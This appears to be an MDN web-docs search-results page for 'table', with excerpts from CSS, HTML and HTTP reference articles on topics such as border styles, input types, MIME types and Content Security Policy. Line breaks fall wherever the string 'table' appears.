table> <tr> <td class="b1">none</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </
table> css /* define look of the
table */
table { border-width: 3px; background-color: #52e385; } tr, td { padding: 3px; } /* border-bottom-style example classes */ .b1 {border-bottom-style: none;} .b2 {border-bottom-style: hidden;} .b3 {border-bottom-style: dotted;} .b4 {border-bottom-style: dashed;} .b5 {border-bottom-style: solid;} .b6 {border-bottom-style: double;} .b7 {border-bottom-style...
border-image-slice - CSS: Cascading Style Sheets
tage of the source image's size: the width of the image for horizontal offsets, the height for vertical offsets. fill preserves the middle image region and displays it like a background image, but stacked above the actual background. its width and height are sized to match the top and left image regions, respectively. formal definition initial value100%applies toall elements, except internal
table elements when border-collapse is collapse. it also applies to ::first-letter.inheritednopercentagesrefer to the size of the border imagecomputed valueone to four percentage(s) (as specified) or absolute length(s), plus the keyword fill if specifiedanimation typeby computed value type formal syntax <number-percentage>{1,4} && fill?where <number-percentage> = <number> | <percentage> examples ad...
...ements when border-collapse is collapse. it also applies to ::first-letter.inheritednopercentagesrefer to the size of the border imagecomputed valueone to four percentage(s) (as specified) or absolute length(s), plus the keyword fill if specifiedanimation typeby computed value type formal syntax <number-percentage>{1,4} && fill?where <number-percentage> = <number> | <percentage> examples adjus
table border width and slice the folowing example shows a simple <div> with a border image set on it. the source image for the borders is as follows: the diamonds are 30px across, therefore setting 30 pixels as the value for both border-width and border-image-slice will get you complete and fairly crisp diamonds in your border: border-width: 30px; border-image-slice: 30; these are the default val...
border-image - CSS: Cascading Style Sheets
o describe it semantically in the document. mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:border-image-source: noneborder-image-slice: 100%border-image-width: 1border-image-outset: 0border-image-repeat: stretchapplies toall elements, except internal
table elements when border-collapse is collapse. it also applies to ::first-letter.inheritednopercentagesas each of the properties of the shorthand:border-image-slice: refer to the size of the border imageborder-image-width: refer to the width or height of the border image areacomputed valueas each of the properties of the shorthand:border-image-outset: as specified, but with relative lengths converted...
...atus comment css backgrounds and borders module level 3the definition of 'border-image' in that specification. candidate recommendation initial definition initial valueas each of the properties of the shorthand:border-image-source: noneborder-image-slice: 100%border-image-width: 1border-image-outset: 0border-image-repeat: stretchapplies toall elements, except internal
table elements when border-collapse is collapse. it also applies to ::first-letter.inheritednopercentagesas each of the properties of the shorthand:border-image-slice: refer to the size of the border imageborder-image-width: refer to the width or height of the border image areacomputed valueas each of the properties of the shorthand:border-image-outset: as specified, but with relative lengths converted...
border-top-style - CSS: Cascading Style Sheets
ty is specified as a single keyword chosen from those available for the border-style property. formal definition initial valuenoneapplies toall elements. ...
...idge | inset | outset examples html <
table> <tr> <td class="b1">none</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </
table> css /* define look of the
table */
table { border-width: 2px; background-color: #52e385; } tr, td { padding: 3px; } /* border-top-style example classes */ .b1 {border-top-style: none;} .b2 {border-top-style: hidden;} .b3 {border-top-style: dotted;} .b4 {border-top-style: dashed;} .b5 {border-top-style: solid;} .b6 {border-top-style: double;} .b7 {border-top-style: groove;} .b8 {border-t...
cursor - CSS: Cascading Style Sheets
link. typically an image of a pointing hand. progress the program is busy in the background, but the user can still interact with the interface (in contrast to wait). wait the program is busy, and the user can't interact with the interface (in contrast to progress). sometimes an image of an hourglass or a watch. selection cell the
table cell or set of cells can be selected. crosshair cross cursor, often used to indicate selection in a bitmap. text the text can be selected. typically the shape of an i-beam. vertical-text the vertical text can be selected. typically the shape of a sideways i-beam. drag & drop alias an alias or shortcut is to be...
... zoom-in something can be zoomed (magnified) in or out. zoom-out usage notes although the specification does not define any size limitations for cursor, individual user agents may choose to do so. cursor changes using images which are outside the size range supported by the browser will generally just be ignored. check the browser compatibility
table for any notes on cursor size limits. formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specified, but with <url> values made absoluteanimation typediscrete formal syntax [ [ <url> [ <x> <y> ]? , ]* [ auto | default | none | context-menu | help | pointer | progress | wait | cell | crosshair | text | vertical-text | alias | copy | move | no-drop | not-allowed...
font-variant-east-asian - CSS: Cascading Style Sheets
normal | [ <east-asian-variant-values> || <east-asian-width-values> || ruby ]where <east-asian-variant-values> = [ jis78 | jis83 | jis90 | jis04 | simplified | traditional ]<east-asian-width-values> = [ full-width | proportional-width ] examples setting east asian glyph variants this example require font "yu gothic" installed in your os, other fonts may not support opentype features. ...
...features. ...
font - CSS: Cascading Style Sheets
s stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. as with any shorthand property, any individual value that is not specified is set to its corresponding initial value (possibly overriding values previously set using non-shorthand properties). though not directly set
table by font, the longhands font-size-adjust and font-kerning are also reset to their initial values. constituent properties this property is a shorthand for the following css properties: font-family font-size font-stretch font-style font-variant font-weight line-height syntax the font property may be specified as either a single keyword, which will select a system font, or as a shorthan...
...ont { float: left; text-align: center; margin-right: 5px; width: 80px; } .setpropcont { float: left; margin-right: 5px; width: 120px; } .propinputs, .setpropcont { margin-bottom: 1em; } .curcss { border: none; border-bottom: 1px solid black; text-align: center; width: 80px; } .mandatory { border-bottom-color: red; } .cf:before, .cf:after { content: " "; display:
table; } .cf:after { clear: both; } .tar { width: 40px; text-align: right; } .fontfamily { display: inline-block; } javascript var textareas = document.getelementsbyclassname("curcss"), shorttext = "", getcheckedvalue, setcss, getproperties, injectcss; getproperties = function () { shorttext = getcheckedvalue("font_style") + " " + getcheckedvalue("font_var...
image-rendering - CSS: Cascading Style Sheets
d; /* global values */ image-rendering: inherit; image-rendering: initial; image-rendering: unset; values auto the scaling algorithm is ua dependent. since version 1.9 (firefox 3.0), gecko uses bilinear resampling (high quality). smooth the image should be scaled with an algorithm that maximizes the appearance of the image. in particular, scaling algorithms that "smooth" colors are accep
table, such as bilinear interpolation. this is intended for images such as photos. high-quality identical to smooth, but with a preference for higher-quality scaling. if system resources are constrained, images with high-quality should be prioritized over those with any other value, when considering which images to degrade the quality of and to what degree. crisp-edges the image must be scaled wi...
...r-quality scaling. if system resources are constrained, images with high-quality should be prioritized over those with any other value, when considering which images to degrade the quality of and to what degree. crisp-edges the image must be scaled with an algorithm that preserves contrast and edges in the image, and which does not smooth colors or introduce blur to the image in the process. sui
table algorithms include nearest-neighbor and other non-smoothing scaling algorithms such as 2×sai and hqx-family algorithms. this value is intended for pixel-art images, such as in browser games. pixelated when scaling the image up, the nearest-neighbor algorithm must be used, so that the image appears to be composed of large pixels. when scaling down, this is the same as auto. note: the values ...
list-style-type - CSS: Cascading Style Sheets
r matching an @counter-style rule */ list-style-type: custom-counter-style; /* keyword value */ list-style-type: none; /* global values */ list-style-type: inherit; list-style-type: initial; list-style-type: unset; the list-style-type property may be defined as any one of: a <custom-ident> value a symbols() value a <string> value the keyword none. note that: some types require a sui
table font installed to display as expected. the cjk-ideographic is identical to trad-chinese-informal; it exists for legacy reasons. values <custom-ident> a identifier matching the value of a @counter-style or one of the predefined styles: symbols() defines an anonymous style of the list. <string> the specified string will be used as the item's marker. none no item marker is shown. ...
...disclosure-open symbol indicating that a disclosure widget such as <details> is opened. disclosure-closed symbol indicating that a disclosure widget, like <details> is closed. non-standard extensions a few more predefined types are provided by mozilla (firefox), blink (chrome and opera) and webkit (safari) to support list types in other languages. see the compatibility
table to check which browsers supports which extension. -moz-ethiopic-halehame example -moz-ethiopic-halehame-am example ethiopic-halehame-ti-er -moz-ethiopic-halehame-ti-er example ethiopic-halehame-ti-et -moz-ethiopic-halehame-ti-et example hangul -moz-hangul example example example hangul-consonant -moz-hangul-consonant example ...
margin - CSS: Cascading Style Sheets
st margin applies to the top, the second to the right and left, the third to the bottom. when four values are specified, the margins apply to the top, right, bottom, and left in that order (clockwise). values <length> the size of the margin as a fixed value. <percentage> the size of the margin as a percentage, relative to the width of the containing block. auto the browser selects a sui
table margin to use. for example, in certain cases this value can be used to center an element. formal syntax [ <length> | <percentage> | auto ]{1,4} examples simple example html <div class="center">this element is centered.</div> <div class="outside">this element is positioned outside of its container.</div> css .center { margin: auto; background: lime; width: 66%; } .outside { marg...
...n of 'margin' in that specification. recommendation removes the effect of top and bottom margins on inline elements. css level 1the definition of 'margin' in that specification. recommendation initial definition. initial valueas each of the properties of the shorthand:margin-bottom: 0margin-left: 0margin-right: 0margin-top: 0applies toall elements, except elements with
table display types other than
table-caption,
table and inline-
table. it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valueas each of the properties of the shorthand:margin-bottom: the percentage as specified or the absolute lengthmargin-left: the percentage as specified or the absolute lengthmargin-right: the percentage as spe...
mask - CSS: Cascading Style Sheets
| <repeat-style> | <geometry-box> | [ <geometry-box> | no-clip ] | <compositing-operator...
...| <repeat-style> | <geometry-box> | [ <geometry-box> | no-clip ] | <compositing-operator> | <masking-mode>where <mask-reference> = none | <image> | <mask-source><position> = [ [ left | center | right ...
min-height - CSS: Cascading Style Sheets
limit on the size of the box. max-content the intrinsic preferred min-height. min-content the intrinsic minimum min-height. fit-content(<length-percentage>) uses the fit-content formula with the available space replaced by the specified argument, i.e. min(max-content, max(min-content, argument)). formal definition initial valueautoapplies toall elements but non-replaced inline elements,
table columns, and column groupsinheritednopercentagesthe percentage is calculated with respect to the height of the generated box's containing block. if the height of the containing block is not specified explicitly (i.e., it depends on content height), and this element is not absolutely positioned, the percentage value is treated as 0.computed valuethe percentage as specified or the absolute lengthan...
... editor's draft css box sizing module level 3the definition of 'min-height' in that specification. working draft adds the max-content, min-content, fit-content keywords. ...
object-position - CSS: Cascading Style Sheets
values <position> from one to four values that define the 2d position of the element. relative or absolute offsets can be used. note: the position can be set so that the replaced element is drawn outside its box. ...
...ts right edge flush against the right edge of the element's box and is located 10% of the way down the height of the element's box. result specifications specification status comment css images module level 3the definition of 'object-position' in that specification. candidate recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobject-positionchrome full support ...
overflow-wrap - CSS: Cascading Style Sheets
ial; overflow-wrap: unset; the overflow-wrap property is specified as a single keyword chosen from the list of values below. values normal lines may only break at normal word break points (such as a space between two words). ...
...ken at any point if there are no otherwise-accep
table break points in the line. no hyphenation character is inserted at the break point. soft wrap opportunities introduced by the word break are considered when calculating min-content intrinsic sizes. break-word the same as the anywhere value, with normally unbreakable words allowed to be broken at arbitrary points if there are no otherwise accep
table break points in the line, but soft wrap opportunities introduced by the word break are not considered when calculating min-content intrinsic sizes. formal definition initial valuenormalapplies tonon-replaced inline elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | break-word | anywhere examples comparing overflow-wrap, word-break, and hyphens this...
page-break-after - CSS: Cascading Style Sheets
to work as designed. a subset of values should be aliased as follows: page-break-after break-after auto auto left left right right avoid avoid always page formal definition initial valueautoapplies toblock-level elements in the normal flow of the root element. ...
...} specifications specification status comment css logical properties and values level 1the definition of 'recto and verso' in that specification. editor's draft adds the values recto and verso. css paged media module level 3the definition of 'page-break-after' in that specification. working draft extends the element that this property applies to
table rows and
table row groups. css level 2 (revision 1)the definition of 'page-break-after' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktop...
page-break-before - CSS: Cascading Style Sheets
o work as designed. a subset of values should be aliased as follows: page-break-before break-before auto auto left left right right avoid avoid always page formal definition initial valueautoapplies toblock-level elements in the normal flow of the root element. ...
... specifications specification status comment css logical properties and values level 1the definition of 'recto and verso' in that specification. editor's draft adds the values recto and verso. css paged media module level 3the definition of 'page-break-before' in that specification. working draft extends the element that this property applies to
table rows and
table row groups. css level 2 (revision 1)the definition of 'page-break-before' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. deskto...
text-orientation - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... as they would be horizontally, but with the whole line rotated 90° clockwise. sideways-right an alias to sideways that is kept for compatibility purposes. use-glyph-orientation on svg elements, this keyword leads to use the value of the deprecated svg properties glyph-orientation-vertical and glyph-orientation-horizontal. ...
text-transform - CSS: Cascading Style Sheets
one might expect, ar aon tslÍ (firefox only). in some cases, a hyphen is also removed upon uppercasing: an t-uisce transforms to an tuisce (and the hyphen is correctly reinserted by text-transform: lowercase). the language is defined by the lang html attribute or the xml:lang xml attribute. note: support for language-specific cases varies between browsers, so check the browser compatibility
table. syntax /* keyword values */ text-transform: none; text-transform: capitalize; text-transform: uppercase; text-transform: lowercase; text-transform: full-width; text-transform: full-size-kana; /* global values */ text-transform: inherit; text-transform: initial; text-transform: unset; capitalize is a keyword that converts the first letter of each word to uppercase. other characters rem...
...r was calculated (firefox considered - and _ as letters, but other browsers did not. both webkit and gecko incorrectly considered letter-based symbols like ⓐ to be real letters. internet explorer 9 was the closest to the css 2 definition, but with some weird cases.) by precisely defining the correct behavior, css text level 3 cleans this mess up. the capitalize line in the browser compatibility
table contains the version the different engines started to support this now precisely-defined behavior. uppercase is a keyword that converts all characters to uppercase. lowercase is a keyword that converts all characters to lowercase. none is a keyword that prevents the case of all characters from being changed. full-width is a keyword that forces the writing of a character — mainly ideog...
touch-action - CSS: Cascading Style Sheets
action: none; may inhibit operating a browser's zooming capabilities. this will prevent people experiencing low vision conditions from being able to read and understand page content. ...
...t operating a browser's zooming capabilities. this will prevent people experiencing low vision conditions from being able to read and understand page content. ...
Challenge solutions - Developer guides
n"> predict where the image will appear in your document. then refresh your browser to see if you were correct. solution the image appears to the right of the second list. challenge add a rule to your stylesheet that places the image in the top right of your document. ...
... to see if you were correct. solution the image appears to the right of the second list. challenge add a rule to your stylesheet that places the image in the top right of your document. solution the following rule achieves the desired result: #fixed-pin { position:fixed; top: 3px; right: 3px; }
tables borders on data cells only challenge change the stylesheet to make the
table have a green border around only the data cells. solution the following rule puts borders around only <td> elements that are inside the <tbody> element of the
table with id=demo-
table: #demo-
table tbody td { border:1px solid #7a7; } media separate print style file challenge move the print-specific style rules to a separate css file and import them into your style4.css stylesheet. s...
Overview of events and handlers - Developer guides
until after then event has happened. the pattern is therefore easy to learn and implement. the difficulty with events comes from learning the wide variety of events which are generated in modern web browsers. there is also some subtlety in learning how to write the handler functions since such code works asynchronously and potentially will run repeatedly but in slightly different situations. no
table events web browsers define a large number of events so it is not practical to list them all. the event reference attempts to maintain a list of the standard events used in modern web browsers. in general, we can distinguish events of different kinds based on the object emitting the event including: the window object, such as due to resizing the browser, the window.screen object, such as due...
... document object, including the loading, modification, user interaction, and unloading of the page, the objects in the dom (document object model) tree including user interactions or modifications, the xmlhttprequest objects used for network requests, and the media objects such as audio and video, when the media stream players change state. although this list is currently incomplete. some no
table events are: note: this list of events will need work to make relevant; that work is awaiting some global reorganization work on the documents. this will also need finding a good explanation of the events involved during page loading, such as discussed partially in this web page or in this stack overflow question. the global object window emits an event called 'load' when the page has finis...
Content categories - Developer guides
a few other elements belong to this category, but only if a specific condition is fulfilled: <area>, if it is a descendant of a <map> element <link>, if the itemprop attribute is present <meta>, if the itemprop attribute is present <style>, if the scoped attribute is present sectioning content elements belonging to...
...ory contains several sub-categories: listed elements that are listed in the form.elements and fieldset.elements idl collections. contains <button>, <fieldset>, <input>, <keygen>, <object>, <output>, <select>, and <textarea>. labelable elements that can be associated with <label> elements. contains <button>, <input>, <keygen>, <meter>, <output>, <progress>, <select>, and <textarea>. submit
table elements that can be used for constructing the form data set when the form is submitted. contains <button>, <input>, <keygen>, <object>, <select>, and <textarea>. reset
table elements that can be affected when a form is reset. contains <input>, <keygen>, <output>,<select>, and <textarea>. secondary categories there are some secondary classifications of elements that can be useful to be awa...
Index - Developer guides
nding, optimization, performance, web when building modern web apps and sites, it's important to make your content perform well. that is, to make it work quickly and efficiently. this lets it work effectively both for users of powerful desktop systems as well as for handheld devices with less power. there are several tools available to check the performance of a website or blog. the most no
table tools are listed below. 37 parsing and serializing xml ajax, add-ons, dom, dom parsing, document, extensions, guide, htmldocument, json, parsing, parsing xml, serializing, serializing xml, xml, xmldocument, xmlhttprequest in this article, we'll look at the objects provided by the web platform to make the common tasks of serializing and parsing xml easy. 38 printing...
...bilebrowsercompatibility, woff woff (the web open font format) is a web font format developed by mozilla in concert with type supply, letterror, and other organizations. it adds metadata and private-use data structures, including predefined fields allowing foundries and vendors to provide license information if desired. 42 user input and controls screen orientation, contentedi
table, drag and drop, fullscreen, keyboard, mouse, pointer lock, touch, user input modern web user input goes beyond simple mouse and keyboard: think of touchscreens for example. this article provides recommendations for managing user input and implementing controls in open web apps, along with faqs, real-world examples, and links to further information for anyone needing more detailed informatio...
Localizations and character encodings - Developer guides
cales, the fallback encoding is windows-1252 (often called iso-8859-1), which was the encoding emitted by most windows applications in the 1990s and a superset of the encoding emitted by most unix applications in the 1990s as a deployed in the america has and in western europe. however, there are locales where web publishing was common already in the 1990s but the windows-1252 encoding was not sui
table for the local language. in these locales, legacy content that doesn't declare its encoding is typically encoded using a legacy encoding other than windows-1252. in order to work with legacy content, some firefox localizations need a non-windows-1252 fallback encoding. unfortunately, this means that the web-exposed functionality of firefox differs by locale and it is hard to read legacy content a...
... content written in the majority language very often, it is appropriate to specify the fallback encoding and the heuristic detection mode to be the same as for the localization for the majority language of the region. for example, for a localization for minority language in russia, it is appropriate to copy the settings from the russian localization. setting some encodings to be more easily selec
table from the character encoding menu the preference intl.charsetmenu.browser.static in intl.properties makes some character encodings more easily available in the character encoding menu in the browser. the value should be a comma-separated list of canonical encoding names. the list should include at least the fallback encoding, windows-1252 and utf-8. for locales where there are multiple common leg...
Mobile-friendliness - Developer guides
can mean a multitude of things, depending on who you’re talking to. it can be helpful to think of it in terms of three goals for improving your site’s user experience: presentation, content, and performance. goal #1 (presentation) “make websites that work well on a variety of screen sizes.” these days, users can access the web on devices in a wide range of form factors, including phones,
tablets, and ereaders. needless to say, a fixed-width, three-column layout filled with complex javascript animations and mouse-over effects is not going to look or feel quite right on a phone with a 2-inch-wide screen and a diminutive processor. a slimmed-down, linearized page layout with elements sized for a touchscreen would be much more appropriate. that’s why this first goal is all about presenti...
...g the user the bits they will actually need. know your audience while not strictly a part of the definition of being mobile friendly, defining who your target audience is makes these goals much more concrete. for example, it is absolutely critical to keep in mind which browsers and devices you will target when picking a mobile strategy. if your audience is full of early-adopters, you can focus on
tablets and smartphones with standards-friendly browsers. on the other hand, if many of your site’s users are on devices with less capable browsers, that may eliminate certain strategies as viable options. approaches to mobile web development the following approaches aim to achieve each of these goals by different means. separate sites responsive design a hybrid approach original document ...
HTML attribute: readonly - HTML: Hypertext Markup Language
the boolean readonly attribute, when present, makes the element not mu
table, meaning the user can not edit the control. if the readonly attribute is specified on an input element, because the user can not edit the input, the element does not participate in constraint validation. the readonly attribute is supported by text, search, url, tel, email, password, date, month, week, time, datetime-local, and number<input> types and the <textarea> form control elements. if present on any of these input types and elements, the :read-only pseudo class will match. if the attribute is not included, the :read-write pseudo class will match. ...
...ch, url, tel, email, password, date, month, week, time, datetime-local, and number<input> types and the <textarea> form control elements. if present on any of these input types and elements, the :read-only pseudo class will match. if the attribute is not included, the :read-write pseudo class will match. the attribute is not supported or relevant to <select> or input types that are already not mu
table, such as checkbox and radio or cannot, by definition, start with a value, such as the file input type. range and color, as both have default values. it is also not supported on hidden as it can not be expected that a user to fill out a form that is hidden. nor is it supported on any of the button types, including image. note: only text controls can be made read-only, since for other controls (...
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
it can also be the destination for streamed media, using a mediastream. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the above example shows simple usage of the <audio> element. ...
...poken dialog should provide both captions and transcripts that accurately describe its content. captions, which are specified using webvtt, allow people who are experiencing hearing loss to understand an audio recording's content as the recording is being played, while transcripts allow people who need additional time to be able to review the recording's content at a pace and format that is comfor
table for them. if automatic captioning services are used, it is important to review the generated content to ensure it accurately represents the source audio. the <audio> element doesn't directly support webvtt. you will have to find a library or framework that provides the capability for you, or write the code to display captions yourself. one option is to play your audio using a <video> element, w...
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. as the example above shows, the <fieldset> element provides a grouping for a part of an html form, with a nested <legend> element providing a caption for the <fieldset>. it takes few attributes, the most no
table of which are form, which can contain the id of a <form> on the same page, allowing you to make the <fieldset> part of that <form> even if it is not nested inside it, and disabled, which allows you to disable the <fieldset> and all its contents in one go. attributes this element includes the global attributes. disabled if this boolean attribute is set, all form controls that are descendants ...
...on the same page, allowing you to make the <fieldset> part of that <form> even if it is not nested inside it, and disabled, which allows you to disable the <fieldset> and all its contents in one go. attributes this element includes the global attributes. disabled if this boolean attribute is set, all form controls that are descendants of the <fieldset>, are disabled, meaning they are not edi
table and won't be submitted along with the <form>. they won't receive any browsing events, like mouse clicks or focus-related events. by default browsers display such controls grayed out. note that form elements inside the <legend> element won't be disabled. form this attribute takes the value of the id attribute of a <form> element you want the <fieldset> to be part of, even if it is not inside the...
<input type="date"> - HTML: Hypertext Markup Language
96275200000, a unix timestamp this code finds the first <input> element whose type is date, and sets its value to 2017-06-01 (june 1st, 2017). it then reads that value back in string and number formats. additional attributes along with the attributes common to all <input> elements, date inputs have the following attributes: attribute description max the latest accep
table date min the earliest accep
table date step the stepping interval, when clicking up and down spinner buttons and validating the date max the latest date to accept. if the value entered into the element occurs afterward, the element fails constraint validation. if the value of the max attribute isn't a possible date string in the format yyyy-mm-dd, then the element h...
...that can be chosen by the user. in the following example, we set a minimum date of 2017-04-01 and a maximum date of 2017-04-30: <form> <label for="party">choose your preferred party date: <input type="date" name="party" min="2017-04-01" max="2017-04-30"> </label> </form> the result is that only days in april 2017 can be selected — the month and year parts of the textbox will be unedi
table, and dates outside april 2017 can't be selected in tte picker widget. note: you should be able to use the step attribute to vary the number of days jumped each time the date is incremented (e.g. to only make saturdays selec
table). however, this does not seem to be in any implementation at the time of writing. controlling input size <input type="date"> doesn't support form sizing attributes s...
<input type="datetime-local"> - HTML: Hypertext Markup Language
edge), or invalid (see validation) but still available (e.g. chrome). note: you should be able to use the step attribute to vary the number of days jumped each time the date is in...
...me-local" name="partydate" min="2017-06-01t08:30" max="2017-06-30t16:30"> </form> the result here is that: only days in june 2017 can be selected — only the "days" part of the date value will be edi
table, and dates outside june can't be scrolled to in the datepicker widget. depending on what browser you are using, you might find that times outside the specified values might not be selec
table in the time picker (e.g. edge), or invalid (see validation) but still available (e.g. chrome). note: you should be able to use the step attribute to vary the number of days jumped each time the date is incremented (e.g. maybe you only want to make saturdays selec
table). however, this does not seem to work effectively in any implementation at the time of writing. controlling input size <inpu...
<input type="password"> - HTML: Hypertext Markup Language
this must be an integer value 0 or higher. if no maxlength is specified, or an invalid value is specified, the password field has no maximum length. this value must also be greater than or equal to the value ...
...of a full keyboard, to make entering the password easier. if the pin is for one-time use, set the autocomplete attribute to either off or one-time-code to suggest that it's not saved. <label for="pin">pin: </label> <input id="pin" type="password" inputmode="numeric"> setting length requirements as usual, you can use the minlength and maxlength attributes to establish minimum and maximum accep
table lengths for the password. this example expands on the previous one by specifying that the user's pin must be at least four and no more than eight digits. the size attribute is used to ensure that the password entry control is eight characters wide. <label for="pin">pin:</label> <input id="pin" type="password" inputmode="numeric" minlength="4" maxlength="8" size="8"> selecting text as ...
<input type="time"> - HTML: Hypertext Markup Language
for example, specifying a min of 14:00 and a max of 2:00 means that the permitted time values start at 2:00 pm, run...
...: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; } the result here is that: only times between 12:00 and 18:00 will be seen as valid; times outside that range will be denoted as invalid. depending on what browser you're using, you might find that times outside the specified range might not even be selec
table in the time picker (e.g. edge). making min and max cross midnight by setting a min attribute greater than the max attribute, the valid time range will wrap around midnight to produce a valid time range which crosses midnight. this functionality is not supported by any other input types. while this feature is in the html spec, it is not yet universally supported. chrome-based browsers support i...
<input type="url"> - HTML: Hypertext Markup Language
ings in use). this does not set a limit on how many characters the user can enter into the field. it only specifies approximately how many can be seen at a time. to set an upper limit on the length of the input data, use the maxlength attribute. spellcheck spellcheck is a global attribute which is used to indicate whether or not to enable spell checking for an element. it can be used on any edi
table content, but here we consider specifics related to the use of spellcheck on <input> elements. the permitted values for spellcheck are: false disable spell checking for this element. true enable spell checking for this element. "" (empty string) or no value follow the element's default behavior for spell checking. this may be based upon a parent's spellcheck setting or other factors. an ...
... you get automatic validation that the entered text is at least in the correct form to potentially be a legitimate url. this can help avoid cases in which the user mis-types their web site's address, or provides an invalid one. it's important, however, to note that this is not enough to ensure that the specified text is a url which actually exists, corresponds to the user of the site, or is accep
table in any other way. it simply ensures that the value of the field is properly formatted to be a url. note: it's also crucial to remember that a user can tinker with your html behind the scenes, so your site must not use this validation for any security purposes. you must verify the url on the server-side of any transaction in which the provided text may have any security implications of any kind.
<keygen> - HTML: Hypertext Markup Language
this mechanism is designed for use with web-based certificate management systems. it is expected that the <keygen> element will be used in an html form along with other information needed to construct a certificate request, and that the result of the process will be a signed certificate. content categories flow content, phrasing content, interactive content, listed, labelable, submit
table, reset
table form-associated element, palpable content. permitted content none, it is an empty element. tag omission must have a start tag and must not have an end tag. permitted parents any element that accepts phrasing content. permitted aria roles none dom interface htmlkeygenelement attributes this element includes the global ...
...e keygen process. the value of the pqg parameter is the the base64 encoded, der encoded dss-parms as specified in ietf rfc 3279. the user may be given a choice of dsa key sizes, allowing the user to choose one of the sizes defined in the dsa standard. for ec keys, the keyparams parameter specifies the name of the elliptic curve on which the key will be generated. it is normally a string from the
table in nskeygenhandler.cpp. (note that only a subset of the curves named there may actually be supported in any particular browser.) if the keyparams parameter string is not a recognized curve name string, then a curve is chosen according to the user's chosen key strength (low, medium, high), using the curve named "secp384r1" for high, and the curve named "secp256r1" for medium keys. (note: choice of...
Standard metadata names - HTML: Hypertext Markup Language
sts. send the origin when the destination is at least as secure as the current page (http(s)→https). otherwise, send no referrer. unsafe-url send the full url (stripped of parameters) for same-origin or cross-origin requests. notes: dynamically inserting <meta name="referrer"> (with document.write() or appendchild()) makes the referrer behaviour unpredic
table. when several conflicting policies are defined, the no-referrer policy is applied. theme-color: indicates a suggested color that user agents should use to customize the display of the page or of the surrounding user interface. the content attribute contains a valid css <color>. standard metadata names defined in other specifications the css color adjustment specification defines th...
...unaware of color schemes and should simply be rendered using the default color palette. [light | dark]+ one or more color schemes supported by the document. specifying the same color scheme more than once has the same effect as specifying it only once. indicating multiple color schemes indicates that the first scheme is preferred by the document, but that the second specified scheme is accep
table if the user prefers it. only light indicates that the document only supports light mode, with a light background and dark foreground colors. by specification, only dark is not valid, because forcing a document to render in dark mode when it isn't truly compatible with it can result in unreadable content; all major browsers default to light mode if not otherwise configured. for example...
<select>: The HTML Select element - HTML: Hypertext Markup Language
the size attribute causes only 4 lines to display at a time; you can scroll to view all the options. we've included <optgroup> elements to divide the options up into different groups. this is a purely visual grouping, its visualization generally consists of the group name being bolded, and the options being indented. the "hamster" option includes ...
...ivide the options up into different groups. this is a purely visual grouping, its visualization generally consists of the group name being bolded, and the options being indented. the "hamster" option includes a disabled attribute and therefore can't be selected at all. technical summary content categories flow content, phrasing content, interactive content, listed, labelable, reset
table, and submit
table form-associated element permitted content zero or more <option> or <optgroup> elements. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role combobox with no multiple attribute and no size attribute greater than 1, otherwise listbox ...
Common MIME types - HTTP
be human-readable and must not contain binary data. application/octet-stream is the default value for all other cases. an unknown file type should use this type. browsers pay a particular care when manipulating these files, attempting to safeguard the user to prevent dangerous behaviors. iana is the official registry of mime media types and maintains a list of all the official mime types. ...
... opendocument spreadsheet document application/vnd.oasis.opendocument.spreadsheet .odt opendocument text document application/vnd.oasis.opendocument.text .oga ogg audio audio/ogg .ogv ogg video video/ogg .ogx ogg application/ogg .opus opus audio audio/opus .otf opentype font font/otf .png por
table network graphics image/png .pdf adobe por
table document format (pdf) application/pdf .php hypertext preprocessor (personal home page) application/x-httpd-php .ppt microsoft powerpoint application/vnd.ms-powerpoint .pptx microsoft powerpoint (openxml) application/vnd.openxmlformats-officedocument.presentationml.presentation .r...
Content Security Policy (CSP) - HTTP
ntent received from the server. malicious scripts are executed by the victim's browser because the browser trusts the source of the content, even when it's not coming from where it seems to be coming from. csp makes it possible for server administrators to reduce or eliminate the vectors by which xss can occur by specifying the domains that the browser should consider to be valid sources of execu
table scripts. a csp compatible browser will then only execute scripts loaded in source files received from those allowlisted domains, ignoring all other script (including inline scripts and event-handling html attributes). as an ultimate form of protection, sites that want to never allow scripts to be executed can opt to globally disallow script execution. mitigating packet sniffing attacks in addi...
...sted code. content-security-policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com here, by default, content is only permitted from the document's origin, with the following exceptions: images may load from anywhere (note the "*" wildcard). media is only allowed from media1.com and media2.com (and not from subdomains of those sites). execu
